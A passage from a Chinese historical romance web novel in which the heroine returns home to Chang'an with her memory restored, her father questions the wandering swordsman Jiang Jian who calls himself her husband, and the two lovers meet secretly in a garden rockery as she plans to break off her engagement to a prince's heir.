江见也不是个好性,被来人这姿态整得也是蹿蹿出了些火气,将胳膊撑在门边,形成阻拦,没好气道:“我说了我这里没有什么君,再不走我可不客气了!” 被这两人耗了这么久,江见早就没了耐心,另一只手已然摸上了剑鞘,想着这两人再不识趣便让他们体验一下他的剑刃有多凉。 娘子说了,不能随便杀人,而且在长安这个权贵多如狗的地方,万一惹来了麻烦也让人不爽。 傅允瞥到少年按着剑鞘的手,直言道:“仪君就是躺在里面的姑娘,我是她的父亲,我来讨人。” 傅允拂袖,冷哼了一声,于官场多年浸淫出来的威势此刻完全不遮掩,尽数倾泻到面前的少年身上,目光沉沉。 话语落下,江见就好像被震慑到了,神色怔然,一时没有回话。 “你说是你女儿就是你女儿,你有证据吗?” 虽然江见知道娘子的家就在长安,但他也不是随便见个人来认亲就能把娘子交出去的。 “你小子……” 傅允本以为坦白了身份便万事不愁了,谁承想这少年这么犟,气得傅允都想骂两句了。 李承钰自不用说,看江见的目光就像是在看强盗。 “江见,那就是我爹,让我爹进来吧。” 正在此刻僵持时,屋内传来少女轻柔的声音,透着很明显的疲软无力。 江见一怔,傅允更是浑身一颤拨开了江见横在面前胳膊,人就踏进了屋子,看见了正倚在床上的少女。 “孩子……” 眼眶中的热意瞬间涌了上去,若不是傅允定力足够强,此刻都能掉几滴眼泪下来。 云桑却没有那样强的定力,见了此生本以为不会再见的爹爹,眼泪簌簌地往下落,几息间就哭成了个泪人。 从冗长的记忆中苏醒,云桑头尚且昏沉着,但好歹将事情全都想起来了。 还没完全平息心绪,就听见门口细碎的说话声,此刻夜深人静,云桑将那番拉扯听了个大致,扶着上有些混沌的脑子坐了起来,说了那句能裁定争端的话。 门口,眼见傅允越过他进了屋子,身后的李承钰也要跟进来,江见也不迷糊了,伸胳膊就将人怼了回去。 “你想干嘛,你是人爹吗你就进去!” 江见绝不会让这个本就觊觎娘子的人有可趁之机,还想进屋,简直是痴心妄想。 李承钰额边青筋乍现,要不是理智还在都想跟这个江湖来的野小子打一架。 尽管他在家也是习过武练过剑的,但知道无法和对方这种以剑为生的相提并论,只捏紧了拳头,用别的方式打压对方。 想到他和仪君之间的婚约,李承钰忽地不气了,勾唇一笑道:“可我是她未婚夫,如何不能进去?” 江见又愣在了原地,眸中尽是不可置信,随后,脸一拉漠然道:“那你更不能进!” 啪的一声,门被情绪翻涌的江见猛地拍上,隔绝了那个自称是娘子未婚夫的人,江见回过头,就好像一口气卡在嗓子眼里,怎么也吐不出来。 “草莽之辈!” 道出了身份还被这样明晃晃地羞辱,李承钰敢说自己活了二十年所有的不快加起来都没有今日来得多,来得猛烈。 人怎能如此无礼不知耻? 平息了好几息,江见才将被那句未婚夫刺激出来的坏心情压下去,就要去瞧娘子。 然一扭头,父女两已经说完了话,傅允连着薄衾将女儿抱进了怀里,准备连夜带回。 有了午后哪一桩人为的“意外”,傅允再不放心她不在自己眼皮子底下了。 江见第一次碰见有人直白在他眼皮子底下把娘子抢走的,下意识就挡住去路,就见未来的岳父大人瞪了他一眼。 “让开,我要带我女儿回家。” 面对这样一个人,这样一番话,一惯伶牙俐齿不让人的江见也失利了,唇瓣翕张,愣是说不出什么反驳的话来。 这是娘子的父亲,他要带娘子回到真正的家,这是一件天经地义的事情,他若是去拦,似乎像个不要脸的强盗。 然自己就乐意这样看着人走,在这个冰冷的夜晚将他抛弃在这个小客栈里? 好窝囊, 好憋屈,也不知娘子还会不会回来找他。 江见有种要被抛弃的前兆,因而,纵然他没有任何立场去阻拦,他仍是一声不吭地堵在傅允跟前,倔强地等着。 靠在爹爹的胸前,云桑感受到了江见热烈的视线,原本松快的心里一咯噔,想起了还有江见这尊大神,忙从被子里探出头来,拉着爹爹的官袍小声道:“爹爹也把他带回去吧,他很重要的,回去我与爹爹一一交代。” 失而复得的女儿此刻用着祈求的目光看着自己,无论说再过分的要求傅允都会答应,何况只是带上个人? 傅允没有丝毫犹豫,对着犟在他跟前的少年抛下一句跟上,人便越过去了。 江见反应很快,立即跑去给未来岳父殷勤地开门,傅允见了,觉得这小子倒是机灵。 李承钰还守在门外,连他自己都觉得有些不可思议。 自打傅允一出来,李承钰便看见了被卷在薄衾中的少女,情不自禁上前道:“仪君。” 平素的清冷被大幅削弱,里头藏着让这秋夜都跟着柔和起来的情愫。 云桑没料到未婚夫也在这里,立即心虚了起来,而且两边都不敢看。 “世子,夜里更深露重,我要随爹爹回家了,你也快回去吧。” 想起三人已然撞见过一次,未婚夫更是瞧见了不少诛心的画面,为了解决这团乱麻,让大家都好,云桑继续道:“世子稍待,改日会让爹爹亲自登门给世子一个交代。” 李承钰知道,他的未婚妻已然恢复了记忆,又是听到这样一番和气的话,心下一松,露出了笑来。 江见最见不得情敌笑,想嘲讽他几句,但听着这个交代心里也突突的,难听的话又被他咽下去了。 实在是他也不敢确定这个交代要处理的人是谁。 是那个未婚夫,还是他这个假夫君? 虽然他无拘无束,认为拜了天地山神也能做夫妻,但不是所有人都与他一样。 娘子有家,有亲人,她生在社会与礼教中,不似他,生于山野长于山野,无所拘役。 所以江见知道,他与娘子是还没有受到国法和亲朋好友承认的假夫妻。 拼命管住了自己这张嘴,江见睨了李承钰一眼,闷声从他跟前经过,一副要跟着回去的架势。 李承钰见状,眉心一蹙,也管住了嘴。 罢了,都说改日登门给他一个交代了,他又何必继续纠缠。 “不知掌柜这里可有现成的车驾,某想租借一辆?” 在萧瑟秋夜守了好一会的胡掌柜见上官搭话,忙跟上去道:“有的有的,后院恰好有驾,不过是自家用的,可能稍显简陋,上官莫要嫌弃就好。” “多谢,还有,今夜之事还望掌柜不要到处说嘴,以免给某带来困扰,可否?” 这话虽客气,但隐含的压力却不小,胡掌柜也活了这么大岁数,自然听得懂暗示,忙不迭在一旁点头陪笑,指天誓地不会多嘴往外说,还会约束好客栈里的伙计。 傅允这才满意,轻嗯了一声。 “自有重谢。” 一踏出客栈,就连云桑裹着薄衾都能感受到冷意,她默默往衾被中缩了缩。 江见主动揽下了赶车的活计,也不知是不是为了在爹爹面前表现一番,毕竟先前看起来双方不大和谐。 白日那一下撞得不轻,虽然经过一番治疗醒了,但云桑的状态仍旧萎靡。 进了马车,云桑靠着爹爹肩头,将身上扭得乱七八糟的小布袋正了正位,在睡过去前同爹爹说了要紧的事。 第一,谁行的凶。 第二,不要向外透露自己已经恢复记忆的事。 …… 傅宅内 蒋氏母女两人还未等到消息,只听说人鲜血淋漓地昏过去了,至于救治得怎样还不甚清楚,只提着一颗心在家中等着。 相比于还算镇定的蒋氏,傅文瑛显然道行不够,手里的帕子都快被扭烂了。 好在屋内只剩下自己人,倒也不怕什么,不过傅文瑛还是会被母亲斥责。 忽地,宅子内有了动静,像是有一堆人回来了,隐约还能听见“大小姐”这几个字眼。 傅文瑛如受惊的鸟雀一般抖了起来,双眸惊惧地看向母亲蒋氏。 “瞧你那没出息的模样,收住了,不是失忆了吗?事情还没有想象得那么糟,且等等。” “去,探探那边的消息。” 蒋氏给了身边的李婆婆一个眼神,立即就将人差遣过去了。 母女两人在屋里煎熬地等了好半天,李婆婆终于将消息带了回来。 “确实是大小姐回来了,说是失忆了,还不认得人,让老婆子回来给夫人和二小姐提个醒。” 此话一出,母女两人皆松了一口气,尤其是傅文瑛,面上的血色都回了大半。 “姐姐不记得就好。” 她喃喃地说了句,给自己倒了一盏茶想要压压惊,由于喝得太快,一进肚子才发觉茶水已经凉透了。 她的身子也凉透了。 60-70 第61章 第 61 章 冷落 对于云桑回来这事, 傅家除了傅允外最高兴的便是她的贴身婢女之一照云了。 至于另一个婢女,照雨,她早就死在了江州的桃花山, 尸骨无存。 那时对着爹爹的泪水, 不仅是死里逃生重见亲人的喜极而泣, 也是恢复记忆后对那场唯有她一人生还惨剧的悲伤。 原本不出意外,两个丫头会一同陪她去蜀地的, 年年皆如此。 但今年临出发前照云摔伤了腿,云桑便其留在家里休养, 这一休养恰好让照云躲过了劫难,全须全尾地活下来。 当照云听家主说小姐的车队遭遇刺杀, 所有人尸骨无存后,她哭了一夜,自那后天天在菩萨面前念经, 祈祷她家小姐可以活着回来。 这是她仅能做的一点微末事情。 心怀希望归心怀希望,照云见家主暗中搜查了那么久都杳无音讯, 心中也快失去希望了。 没承想在一个普通不过的秋夜, 小姐被家主带回来了,虽然身后还跟着一个奇奇怪怪的江湖少年, 照云也没心思管这点小事, 一门心思全扑小姐身上去了。 本有千言万语要对小姐说,然见到的是头上纱布还沁着血已然睡过去的小姐, 照云管住了自己的嘴,想着小姐定然艰苦,等醒了再说。 等着家主将小姐小心放到拔步床上,照云娴熟地开始照顾人。 江见下意识想跟着一道进去,毕竟以往两人都是住一个屋子, 睡一个床,他习惯了, 然刚到门口,还没踏上台阶,就被门口几个结实的婆子拦在了外面。 “这是小姐的闺阁,公子不能进去。” 几个婆子虽不知这江湖打扮的小公子是何种身份,但小姐的闺房,除了姑爷能来去自如,眼下就是连英王府那位世子也不能够。 何况一个来历不明的江湖少年? 刚随着娘子回来,江见便领教了到了些苦头。 他心中恼火,还有不被接纳的落寞,垂在身体两侧的手掌微微握拳,最终还是一言不发地退了下去。 今时不同往日了,入乡随俗这个道理他懂。 他相信明日娘子醒来会好好对他的,这些人也会好好对他的。 他不知云桑何时会醒,就那么执着地等在院子里的海棠树边,大有等一夜的架势。 这时,换了一身常服的傅允过来了,还带着一个拎药箱的老大夫,江见觉得他很是面熟, 仔细想想正是上官朔的爹,那位在宫里当院判的。 连正在吃儿子喜酒的御医都能拽过来,岳丈也是个有本事的。 路过海棠树时,两人都看见了杵在那里的江见,神色各异。 傅允倒还算淡定,只是虚虚瞥了一眼便收回目光了,反而是上官院判,因为在儿子喜宴上这个剑客少年十分惹眼,他记住了江见,看见他在傅家,神情惊异。 估计是在里面细细看诊,江见又在外头等了片刻才等到岳丈带着上官院判出来。 让得力的管家送了上官院判,傅允路过倚着海棠树的江见身边时,嗓音疲惫又低沉。 “跟我过来一趟。” 江见有些不舍地瞥了一眼云桑所在的屋子,扭头跟着傅允走了。 傅允将人带到了书房,自个寻了个椅子坐了下来,刚端起一盏茶,余光瞥到那小子神色自若地自己找了个椅子就要坐下。 傅允神色怪异,一言难尽地低喝了一声:“你站着。” 这声不算严厉,但蕴着威严和庄重,江见下意识停住了动作,罕见地露出了呆愣的神色。 “为何?” 可还从没人敢这样同他说话,除了师父和娘子,不过一个是小时候凶巴巴的教导,一个是恼火后的扭捏。 傅允一口茶迟迟没喝进嘴,道:“有话问你。” 说完后,傅允浅酌了一口茶。 江见想着虽然这样挺不公平的,说事就说事,怎么就他一个人站? 但想着眼前人不是旁人,开罪了的话也许会在娘子面前给他上眼药,江见觉得还是得捧一下。 于是乎,他没有继续犟嘴,只神情老实回道:“知道了,岳丈。” “噗~” 傅允刚喝进嘴的茶水不受控地喷了出来,失态地寻着帕子擦拭。 江见讶异地看过来,不晓得岳丈怎么一口茶都没含住。 傅允那边,连着咳了几下,胡乱将身上水渍擦了擦,脸色精彩极了。 “你乱喊什么,谁是你岳丈?” 别说女儿和这小子关系如何还不确定,英王那头的婚约还在,哪里轮的到他乱喊! 对于傅允明晃晃否认的态度,江见顿生危机感,不服气道:“娘子亲口答应的,说会跟我成亲,只喜欢我一个人,你不是岳丈是什么?” 傅允本还想教训这少年几句,被这话一噎,黑着脸道:“仪君答应了我可没答应,可别想当然。” 这也是江见最担心的事,就像师父说的,若是娘子的亲人不同意,到时说不定还会出岔子。 “那岳丈怎样才肯答应?” 少年满眼都是诚恳,傅允在里面看到了纯澈与认真,除了那句犟着不愿改的岳丈,显得他十分贪心。 至少这个少年看起来有一颗真心,那便是好的。 小心饮了一口茶润了润喉,傅允问道:“唤什么名,哪里人氏,家中几口人,家里田宅几许,日后有何打算?” 傅允按部就班地问着少年的基本情况,只不过越问脸色越不好。 一个无父无母的孤儿,名姓都是即地取的,在山野中长大,田宅是分毫没有,更是个在江湖中讨生活的,这如何能配他的囡囡。 江见不是个不会撒谎的,而且他也不觉得这些话是什么羞耻不能言说的,老老实实地答了出来。 但好像不太让岳丈满意呢。 “岳丈你别生气,虽然我没有你说的那些,但是我有钱的,绝不会让娘子过苦日子的。” 江见莫名弱势,但仍旧倔强地给自己说着好话,除了他这个人,他好像只有钱了。 钱不钱的傅允没有听进去,那声娘子让他又是一气。 “又乱喊什么,没有婚约没有婚仪,谁是你娘子?” 将茶盏往案上重重一放,傅允快被这小子气死了。 江见见岳丈又不高兴了,心中有些无奈,嘟囔道:“我都叫习惯了,改不过来。” 有点心虚地瞥了眼岳丈,江见心里突突的。 怎么这么小气,这也不许叫那也不许叫的。 傅允深呼了几口气平息了心绪,干脆先不去计较这些了,他得问问囡囡坠崖后的一切。 怎么被救下的,这段时间又是在哪里,过得什么日子,又是怎么回来的。 书房灯火明亮,傅允问,江见答。 江见留了个心眼,关于他与娘子那些足够亲密的事情,尤其是夜深人静时肌肤厮磨,江见只字未提,只一板一眼将大概说了出来。 他的直觉告诉他,若是说了岳丈保不齐要打他,若换做旁人江见定是要跟他对打的,但岳丈似乎不行。 还是藏着掖着吧。 等两人聊完,已过了子时,傅允让人给江见安排了房间。 “不用,我跟……” 一听到岳丈还要多此一举,江见立即就想拒绝,话还没说完,一对上岳丈凌厉的双目,江见后知后觉又将话咽下去了。 这话突然提醒了傅允,他还有桩要紧的事忘了问。 快速行到江见身侧,傅允低声道:“你可曾坏我女儿清白?” 江见其实有些分不清岳丈口中的清白到底是什么程度,是简单的拉手和亲亲,还是夜里他们衣衫凌乱时的亲昵,亦或者是…… 生小娃娃的事? 江见瞥了一眼岳丈在夜色里严肃到极点的脸,心里有了猜测。 “还没呢。” 江见声音也轻轻的,似乎还夹杂着些遗憾的叹息,听得傅允又喜又气。 “算你老实。” 这天夜里,独守空房的江见辗转反侧,烙了半天的饼才睡着。 …… 清晨,云桑是在鹅梨香中苏醒的,熟悉的清甜气味让她有些恍惚。 睁开眼后看见同样熟悉的帐顶,还是她离开家时的杏色绫帐,未曾改变。 额头还有些疼,云桑彻底想起来了,她昨夜就已经被爹爹带回家了。 还带回了江见。 对了,江见! 想起他这个不安分又会闹腾的存在,云桑急得就要坐起来,连带着床帐跟着乱颤,这让一夜都不放心睡在脚踏上的照云立即察觉了。 “小姐,你醒了!” 床帐被拉开,照云甚至来不及挂上,便一心扑到了自家小姐身上,一双眼睛还带着哭过的痕迹,肿得像一对桃。 “照云,还能见到你真好。” 照云的出现让云桑暂时将江见抛到了脑后,迎着照云一把搂了上去。 “唔唔唔,小姐,婢子还以为这辈子都见不到你了,还好你回来了~” 照云是从被子里刚钻出来的,扑过来时身上十分温暖,云桑被抱了个满怀,心口热意滚烫。 “好了,别哭了,帐子里我都看见你那两只烂桃了,我这不是好好回来了,什么事也没有。” 云桑安慰着正在自己怀里嘤嘤哭泣的照云,心中也是感慨万分。 她也以为自己这辈子也见不到照云了。 云桑不敢去回想那惊心动魄的一日,到处都是鲜血,照雨为了保护她被刺客一刀穿心,惨死在她跟前的模样。 她一定会为照雨报仇的,云桑心道。 主仆两人说了些贴心的话,又为照雨的亡故难过了好半晌,照云这才想起照顾人,忙不迭擦干眼泪起来将床帐挂好,就要起身去外面唤人进来伺候。 云桑想起个要紧事,喊住照云,让她附耳过来。 得让二婶那边认为她没恢复记忆才行,想必爹爹那边已经在着手追查拿证据了。 门一开,外面守着的侍婢便端着一应盥洗用具鱼贯而入,步伐轻盈稳健,仪态端庄。 不过时隔几月,云桑便对这一切产生了一丝丝生涩感,恍如隔世一般。 铜盆中净面的水温度不冷不热正好,里面应该添了她最喜欢的栀子香露,柔软的丝帕上皆是栀子的清香。 见小姐已经穿好了衣裳坐在妆镜前,照云想着打开支摘窗透透气,窗子一打开,照云就瞥见守在屋外的白袍少年。 照云当时注意力都扑在自家小姐身上,加上夜里天黑,她急匆匆地哪里注意到还有外人? 此刻看见小姐的院子里有个不是英王世子的 外男眼巴巴看着,照云蹙着眉头跑到了自家小姐跟前。 “小姐,外面有个小公子好像在等你。” 这一句话出来,云桑人都精神了。 坏了,把江见忘了! 江见不是寻常的那些克制公子,自相识以来就没分开过几天,恨不得长在她身上,然跟着她归了家,从昨夜到现在都没瞧见她一眼,怕是早憋不住了吧。 玉梳柔柔地穿过少女浓密黑亮的长发,云桑听了这话让侍婢停下,自己悄咪咪跑到了窗子旁,去偷看江见此刻的模样。 他就站在那棵海棠树下,被门口的两个婆子拦着,很像一只被主人挡在外面、可怜兮兮的小狗。 一只小白狗。 云桑看不清他的神情,但据她的了解,江见此刻的心情一定是差劲极了。 应当是嘴角耷拉着,垂着那双时常带着笑意的眼,满脸都透着一股凉飕飕的郁气。 云桑刚叹了一口气,一抬眼对上了那双黑黢黢的漂亮双眸,被抓了个正着。 也不知是怎的,云桑心虚地蹲了下去,心跳如鼓。 云桑觉得事情更糟糕了,她急需做出些弥补。 将照云拉过来,悄悄同她交代了一句什么,便赶她出去应付人了。 “等回来再与你解释,照做便是。” 照云听话地出去了,云桑长舒了口气,又坐回妆台前了。 照云揣着小姐的任务还有一肚子疑惑来到了那白袍小公子跟前。 走近了瞧,照云发现这是个模样极俊俏的少年,好似比世子还要俊俏些,是放在人堆里一眼能看到的存在。 见她来,小公子只是短暂地瞥了她一眼,就继续望着那扇支摘窗了。 刚才,就是在那扇窗下,他的娘子偷瞧他后又躲他。 这是以前绝不会发生的事,这样明晃晃的躲避,忽视,瞬间胸口像是有一团火在灼烧,让他郁燥难耐。 盯完了窗子,又往那扇门上盯,隐约有种要把门砸个稀烂的想法。 照云看着少年冷淡的姿态,小心思转得飞快,思索着这少年可能与小姐是什么关系。 她话本子可看得不少嘞! 对着江见行了个礼,照云一字不漏地将小姐的话说与他听。 “请公子到碧波亭下面的假山后里等待,小姐说她稍后就到。” 第62章 第 62 章 私会 只一句话的事, 照云便看见那少年老实离开了,虽然看起来很听话,但情绪好像更差了。 虽然头脑清醒了许多, 不再像刚开始那样昏沉难受, 但额上的伤口还未愈合, 梳发的时候婢女便只是给她通了通发,未绾发髻。 一碗加了杏酪和蜂蜜的红豆粥, 三个刚出炉的金乳酥,还有一小碟肉脯, 云桑记挂着在假山那边等着她的江见,一顿饭用得飞快。 吃完后便借口去外面消消食, 只带着最信任的照云。 一边佯装悠闲地闲逛着,一边悄声同照云囫囵说了她与江见的事。 当听到小姐说要与英王世子退婚,照云眼睛都瞪大了。 “小姐确定, 世子多好的郎君,当真要为了一个…呃江湖少年而放弃世子?” 对于照云来说, 她不知小姐与那位江湖少年都发生了些什么, 也不知情意如何,但世子的出众是实打实的, 乍一听这话, 十分不理解。 云桑自然也明白照云的心情,若是换做曾经的自己可能也无法想象这样的事情。 然如人饮水, 冷暖自知,鞋子合不合脚只有自己最清楚。 英王世子是个好郎君,似乎挑不出什么错来,幼时在皇宫读书时风采出众,如今长大了同样如此。 但这并不代表云桑会死心塌地认准他, 想要什么,她心里有数。 “或许江见的身份不如世子贵重,也不似世子那般风雅博学,但他很好。” 秋日的暖阳下,少女面颊白皙柔美,梨涡浅浅,笑容甜暖宜人。 照云没了话语,她同样在意小姐的心意。 虽然云桑已经打算了结和李承钰之间的婚约,然一日没有将婚书退回来明面上她与李承钰还是未婚夫妻,她也不能当着旁人面就和江见维持着先前的相处方式,起码要先将这桩婚约处理了才是。 未嫁女子的闺阁自然也不能随意让江见进出,光是她愿意有什么用,还是低调些好。 主仆两人偷摸来到了假山区域,照云自觉地给小姐把风,那副四处探看的鬼祟模样看得云桑想笑。 好似她在干什么偷人的事一样。 家中这一簇假山规模不小,云桑也不知江见在哪个假山旮旯里等着,就从头开始找。 然绕来绕去,云桑都没有见到半个人影,这不正常。 按着江见的性子,怕是她还没到就远远探头出来了,哪里能让她找上半天。 莫不是江见还没来? 云桑觉得这好像更不可能,江见怎么会不理他呢? 正倚着假山思索时,一只手忽地从旁边伸出来,圈着云桑的腰便将人带走了,速度快得吓人。 云桑甚至连声音都没来得及发出来就嵌入了一具温暖硬实的怀抱中,双足几乎是悬空的。 猝不及防被来这一下,云桑心中一慌,下意识就想喊人,然胡乱拍打的手摸到了剑鞘,云桑提着的心一下稳住了。 是江见啊。 心一定,云桑也不挣扎了,顺着剑鞘摸到了他腰间的蹀躞带上,勾了两下,平复了一下心绪。 “你知不知道这样差点吓死我了,快放我下来!” 好在她镇定没有叫出来,要不然引来照云也是挺尴尬的。 在云桑的话下,江见确实将自己放了下来,但也仅仅是放下来,依旧没有松开她,从背后紧紧将她拥在怀中。 还趁机将脸埋进了她的脖颈,一声不吭地又蹭又亲,将刚平复心绪的云桑又弄出了个大红脸。 青天白日,假山外明晃晃的日光,但假山内要昏暗许多,云桑小时候捉迷藏最喜欢往这里面躲,觉得单纯又快乐。 但此刻被江见堵在里面又亲又蹭的,两者的心境全然不同,云桑羞窘难言。 “干什么呀,这不是胡来的时候,快别亲了。” 今日叫江见来是有正经事要说,这样黏黏糊糊的像什么样子,再被人瞧见的话更不体面。 脖颈处的湿濡麻痒随着这话消失了,昏暗的假山里,云桑察觉到江见抬起头,气息有些乱。 甚至还有深浅不一的吐息声入耳。 “胡来?” 静谧的假山中,云桑的耳畔瓜果一阵柔风,紧接着就听到少年惊异莫名的反问。 还没等云桑品出意思来,江见继续发难了。 “以前也没见娘子说我胡来,一回来见到未婚夫了就说我胡闹了,你是不是恢复记忆开始嫌弃我了?不想嫁我,想嫁给那个世子?” 颇有些咬牙切齿的意味,说着话的时候还将她的腰捏紧了些,不过不疼,只是捏到她痒痒肉了,以致于她忍不住乱扭。 云桑就知道江见这人胡思乱想了,想必自己现在心里不知恼怒成什么样。 “没有,没有想嫁他。” 云桑去按江见在她腰间乱动的手,矢口否认道。 “呵,我才不信,才刚回来,都不让我进屋了,来见我还要这般偷偷摸摸的,怎么,我有那么见不得人吗?” 就知道江见没那么好哄,云桑来前也准备了充足的话,听到这番酸溜溜又阴阳怪气的话,秀眉一拧,想了个哄人的法子。 “啵~” 火速回头,软嫩的唇重重印在了少年同样柔软的双唇上,发出清晰入耳的声响。 没料到自己这一下劲用得这么大,云桑被那声音整得脸红了一瞬,趁着江见也被那一吻弄得一愣神,忙不迭从他怀中挣脱开来。 江见没有阻拦她,只是舔了舔嘴,有些意犹未尽。 “未婚夫的事我也是昨晚恢复了记忆才想起来的,以前我也不知道,不是我不提前告诉你。” “还有,未嫁女的闺房本就不能让男子随意进的,眼下我还没将婚事退掉,等我让爹爹去英王府那将婚事退了,再同你定亲就好了。” 敏锐如江见,抓住了退婚这个重要信息点,顺势捏起了云桑的手,跟着重复道:“你要退那世子的婚?” 心中的雀跃让他摩挲的节奏加快,云桑感受到了,眉眼弯弯笑道:“不退婚,难不成等婚期到了嫁他,然后赶你回云桑谷吗?” 这话 不好听,江见脸一拉,哼声道:“想得美,当赶叫花子呢。” “那什么时候去退婚,我同你一起去。” 江见都想好了,到时给那什么世子一个狠狠的嘲笑,让他知道谁才是被爱的赢家! 云桑听他的话又被逗笑了,摇头道:“哪有自己去退婚的,自是告知我爹爹,他亲自登门了,你就更不必跟着了。” 就凭着江见这个性子,他若是真跟去了云桑都怕他被打,虽然云桑很看好他的能耐,但要是闹起来总是不体面的。 “那岳丈什么时候去?” 云桑刚要答明日,忽地注意到了他的用词,一时间哭笑不得。 “这才哪到哪,你就喊上岳丈了,你最好闭上嘴,让人听见还得了!” 强装着淡定,实则面皮滚烫,云桑内心暗暗羞耻着。 江见不认同,勾着腰又将软乎乎的少女圈进怀里,在她唇上也是重重一口印下来。 “哪到哪?你说呢娘子,就差生小娃娃的事没干了,为何不能叫岳丈?” 这话唤起了云桑的记忆,她想起了那日马车里的质问,还有那没眼看的书册。 浸染着人□□.望的画面不受控制地往脑袋里钻,云桑感觉到面颊热热的。 不过江见似乎没有要继续同她计较她隐瞒不报的意思,只悄悄凑在她耳边问道:“那咱们什么时候能做那些事?” 滚热的气流伴着这句话,云桑觉得她耳朵都要着火了。 一个人的嘴怎么能说出这样不知羞耻的浪荡话? 云桑觉得自己整个人都要冒烟了,但还是给了江见一个肯定的回答,要不然他这个人不会罢休的。 “成婚后。” 少女细若蚊蝇的声音被江见捕捉到,他眸光亮得惊人,又变回了一朵灿烂的向日葵。 “那我们可得快些成婚了,岳丈明日去退婚,是明日上午吗?那我们明日下午便定婚,过几日就成婚,如何?” 少年无忧无虑地说着畅想着她们几日便能迎来的未来,云桑听了只想笑。 “别扯了,哪有那么快的,要让我爹爹听见你几日后就要和我拜堂,怕是要气昏过去,几日太草率了,你知道我和英王世子自打定婚到婚期,中间隔了多少时间吗?” “差不多三年,长安嫁女娶妇,正经人家都要筹备好几个月的,皇家更是庄重,听爹爹说章懿太子娶太子妃将近筹备了一年半。” 江见在一旁,听着少女喋喋不休的话语,只想将话堵回去。 让他等一年半载的,他非得急出毛病来。 “不过我不是让你也这样,只是告诉你千万别想着几日,那太荒唐了~” 江见不爱听这些,一个低头吻了下去,将那张喋喋不休的嘴给堵上,再说不出那些不如他意的话。 这一吻来得突然又火热,不只是攒了很长时间的讨债,更是索取的心理安慰。 云桑自然清楚这点,故而没有拒绝他,任由江见箍着自己释放自己的情感。 除了时间有些长,最后可能会让她有些喘不过气,过程也不是没有甜头的,尤其现在的江见比之一开始精进了许多,脸红心跳的同时,云桑不能否认他带给自己的快乐。 若不是江见箍着自己,云桑怕是要脚软到站不起来。 掐着云桑快要受不住的时间点,江见终于舍得放开了她。 不过还是老样子,双唇分离的那一刻银丝千万缕,藕断丝连在两人间,纵使是在昏暗的假山里,也泛着晶莹的水泽。 云桑垂眸,没眼去看,熟练地等着江见来将它们都卷走。 少年低笑着将唇凑过来,灵活的唇舌直接贴着她将银丝截断勾走,还顺带舔了舔她已然被吻得充血泛红的唇肉。 这样的场景已经不是第一次了,但云桑还是没眼去看。 江见还是没有放开她,因而云桑无比清晰地感受到了江见对她蓬勃的爱.欲,实在是没法忽视。 想着将人推开就感受不到了,但推了两下不仅没推动,还被察觉到什么的江见撞了两下。 就好像初学者的试探,好奇又兴奋。 云桑面颊也跟着充血,但仍不敢看他,只生气骂他道:“人不能这么不要脸!” 对于江见来说,都是些无关痛痒的话,他反而觉得被骂得有趣,愈发来了些兴致。 仗着四下无人,云桑又是个不会真拿他如何的好性子,江见又动了两下,由衷感慨道:“只是隔着衣裳都这样爽快了,若是……” 云桑再不能听下去了,一把捂住了他还想诳言浪语的嘴,陀螺一般扭了半天将自己扭出去了。 “你控制一下,现在不可以。” 偷瞄了一眼那处明显至极的鼓胀,云桑昂着一张猴屁股似的脸,义正辞严道。 “知道,不过是过过瘾罢了,又没有要放进去,娘子羞成这样~” 云桑觉得自己就不该同他说话,平白惹了一身骚,闭了闭眼,再睁开眼时就看见他在那气恼按自己的一幕。 似乎是不满自己的身体不听话,还打了几下,但还是不听话,沮丧地叹了口气。 云桑立即避开视线,就当自己什么也没看见。 为了转移话题,让江见不再将注意力放在那档子事上,甚至磋磨他可怜的自己,云桑说起了一桩桩正经事。 “听闻歹人不仅动了马车,还在路上撒了铁钉,流云伤得如何,可有去瞧瞧兽大夫?” 一听云桑又是关心起了那匹马,江见虽撇了撇嘴,还是一一回应了。 “踩了一颗钉子,所以当时反应才那么大,不过别担心,我已经让兽大夫看了,将钉子钳出来了,我昨晚同岳父说了,此刻岳丈应当去派人将它带回来了。” 云桑的心一紧又一松,最后哦了一声,彻底放心了。 “还有,那块双鱼佩,是我表兄亡母的遗物,你抽空去还他吧,秦家的宅子也很好找的,就在北边隔壁永兴坊,好找极了。” “还有个重要的,就是现在我们关系未定,你不要当着外人的面对我太过亲近,被人看到不好,也不能当着别人面进我的屋子……” 云桑仔细回忆着,将要交代的事一一道来,生怕漏了哪件事。 又说了些他不爱听的话,江见草草听过,忽地抓住了一个漏洞试探道:“那不被人看到,是不是什么都可有做了?” 云桑被问得一愣,吞吐半天也不知道怎么说了。 照理说是这样的,没人看见好像便没关系,但她不能这样引导江见,事情不应该是这种走向。 “你别乱来!” 云桑扬眉斥了一句,等来的却是对方近乎敷衍的一声哦。 云桑右眼皮跳了跳,就知道这人没听进去。 不敢与他在这里多纠缠,毕竟爹爹那里可能还等着她解释一切。 扯着人出了假山,江见顺势牵住了她的手,然一照面看见了不远处的爹爹,旁边是站得毕恭毕敬的照云。 “爹爹~” 几乎是下意识的动作,云桑瞬间甩开了江见的手,局促地喊了一声。 第63章 第 63 章 退婚 傅允其实早就来了, 看见照云在假山口把风,立即就猜到了女儿定是偷偷约见了那个少年。 出于体贴,傅允没有进去捉人, 只是在外头等着, 最后等来了一对手牵着手相携出来的甜蜜少年人。 傅允心中感慨, 觉得事情更乱了。 不过待他今日问问仪君,事情应当就不难办了。 看见女儿面红耳赤甩开手时, 傅允心中又叹又笑。 同李承钰定了三年的婚事,傅允也没见过女儿露出这副情态, 十足的动心后的羞怯姿态。 没有去戳女儿那层薄薄的脸面,傅允只对着那满脸灿笑的少年轻哼了一声, 声音温和地唤道:“外头冷,仪君回屋子吧,正好爹爹有事情问你。” 云桑努力平复心绪, 让自己尽量看上去镇定自若些,也道:“女儿也有事情要同爹爹说, 正好。” 又扭头对江见嘱咐道:“你也快去忙你的吧。” 给了个让他安分守己的眼神, 云桑跟着爹爹走了。 江见落在后面,目送着父女两人离开, 自言自语道:“又要审人了~” 云桑知道爹爹此次来是为了知道什么, 父女两人一坐下,只留了照云一个人在内, 云桑将坠崖后的事娓娓道来。 当然,在某一方面她同江见心照不宣地达成了一致,对于那些不能宣之于口的日夜亲昵,云桑是没脸说出来的,只交代了那些爹爹能听的清白话。 傅允将女儿一字一句都听进了耳朵, 心中默默消化了好半晌。 倒是跟那少年说得大差不差,只是又略有不同,那少年要略微夸大了那么点,女儿倒是客观实在很多,就是也能听出话语中掩藏不住的情愫。 傅允心中悄然轻叹了一声,知道女儿长大了,他不能拦也拦不住。 “囡囡想要哪一个?” 